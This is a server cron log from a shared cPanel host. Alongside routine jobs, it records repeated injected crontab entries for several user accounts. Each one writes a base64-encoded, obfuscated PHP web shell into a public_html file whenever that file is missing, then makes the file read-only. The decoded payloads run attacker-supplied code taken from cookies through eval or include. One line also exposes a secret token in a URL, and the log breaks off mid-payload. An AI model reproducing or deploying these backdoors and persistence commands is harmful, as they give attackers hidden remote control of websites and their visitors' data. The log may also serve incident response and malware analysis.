Jun  7 10:11:02 medusa CROND[20259]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:11:02 medusa CROND[20260]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:11:02 medusa CROND[20261]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:12:02 medusa CROND[22135]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:12:02 medusa CROND[22160]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:12:02 medusa CROND[22161]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:12:02 medusa CROND[22164]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:12:02 medusa CROND[22170]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:12:02 medusa CROND[22172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:12:02 medusa CROND[22173]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 10:12:02 medusa CROND[22174]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:12:02 medusa CROND[22175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 10:12:02 medusa CROND[22176]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:12:02 medusa CROND[22177]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:12:02 medusa CROND[22171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:12:02 medusa CROND[22178]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:12:02 medusa CROND[22180]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:12:02 medusa CROND[22186]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:13:01 medusa CROND[24241]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:13:01 medusa CROND[24243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:13:01 medusa CROND[24244]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:13:01 medusa CROND[24245]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:13:01 medusa CROND[24246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:13:01 medusa CROND[24247]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:13:01 medusa CROND[24248]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:13:01 medusa CROND[24258]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:13:01 medusa CROND[24259]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAk